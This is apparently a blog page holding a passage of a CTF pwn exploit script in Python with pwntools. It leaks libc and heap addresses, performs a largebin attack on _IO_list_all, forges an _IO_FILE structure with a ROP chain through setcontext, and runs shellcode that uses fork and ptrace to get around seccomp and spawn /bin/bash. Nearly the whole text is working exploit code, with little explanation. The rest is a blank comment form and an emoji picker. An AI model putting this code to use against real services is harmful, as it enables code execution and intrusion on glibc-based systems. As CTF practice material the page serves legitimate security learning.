delete(1)
delete(3)
show(1)
libcbase=p.uu64()-0x21ace0+0x024020
show(3)
heapbase=p.uu64()-0x8a0
print('libcbase',hex(libcbase))
print('heapbase',hex(heapbase))
#--------泄露libc和heap-----------
add(5,0x620)
# p.debug()
fd=0x14f0+heapbase
bk=0x1f7130+libcbase
add(6,0x610)
delete(4)
edit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols['_IO_list_all']-0x20))
add(7,0x640)
#----------largebin attack-------------
_IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
_IO_wfile_jumps=libcbase+libc.symbols['_IO_wfile_jumps']
payloadbase=heapbase+0x1b00
chain=payloadbase+0x100
gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
rsp=payloadbase+0x300
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(heapbase)#rdi
payload+=p64(0x8000)#rsi
payload+=p64(0)*2
payload+=p64(7)
payload+=p64(0)+p64(0x18)
payload+=p64(rsp+8)
payload+=p64(pop_rax)

NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP   = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17

order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:
    /* Step 1: fork a new process */
    mov rax, 57             /* syscall number for fork (on x86_64) */
    syscall                 /* invoke fork() */
    test rax, rax           /* check if return value is 0 (child) or positive (parent) */
    js _exit                /* if fork failed, exit */
    /* Step 2: If parent process, attach to child process */
    cmp rax, 0              /* are we the child process? */
    je child_process        /* if yes, jump to child_process */
parent_process:
    /* Store child PID */
    mov r8,rax
    mov rsi, r8            /* rdi = child PID */
    /* Attach to child process */
    mov rax, 101            /* syscall number for ptrace */
    mov rdi, 0x10           /* PTRACE_ATTACH */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    syscall                 /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
    /* Wait for the child to stop */

    mov rdi, r8            /* rdi = child PID */
    mov rsi, rsp            /*  no status*/
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no rusage */
    mov rax, 61             /* syscall number for wait4 */
    syscall                 /* invoke wait4() */
    /* Set ptrace options */
    mov rax, 110
    syscall    
    mov rdi, 0x4200         /* PTRACE_SETOPTIONS */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    mov r10, 0x00000080     /* PTRACE_O_TRACESECCOMP */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
    /* Allow the child process to continue */
    mov rax, 110
    syscall

    mov rdi, 0x7            /* PTRACE_CONT */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
    /* Loop to keep monitoring the child */
    jmp monitor_child
child_process:
    /* Child process code here */
    /* For example, we could execute a shell or perform other actions */
    /* To keep it simple, let's just execute `/bin/sh` */

    /* sleep(5) */
    /* push 0 */
    push 1
    dec byte ptr [rsp]
    /* push 5 */
    push 5
    /* nanosleep(requested_time='rsp', remaining=0) */
    mov rdi, rsp
    xor esi, esi /* 0 */
    /* call nanosleep() */
    push SYS_nanosleep /* 0x23 */
    pop rax
    syscall
    mov rax, 0x{order2}  /* "/bin/sh" */
    push rax
    mov rax, 0x{order1}  /* "/bin/sh" */
    push rax
    mov rdi, rsp    
    mov rsi, 0
    xor rdx, rdx
    mov rax, 59             /* syscall number for execve */
    syscall
    jmp child_process
_exit:
    /* Exit the process */
    mov rax, 60             /* syscall number for exit */
    xor rdi, rdi            /* status 0 */
    syscall
""")


data = flat({
    0:bytes(f2)[16:],#伪造第一个_IO_file结构体,但是pre_size和size已经占用了16字节
    0xf0:[0,0,0,0,0,0,0,0,0,0,0],
    0x158:gadget1,
    0x1d0:payloadbase+0x100,
    0x1f0:payload,
    0x300:{
            0:pop_rax,
            0x8:10,
            0x10:syscall,
            0x18:0x1e30+heapbase,
            0x20:shellcode
        },
})


edit(4,data)
print(hex(gadget2))
# p.debug()
choose(5)

p.ia()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇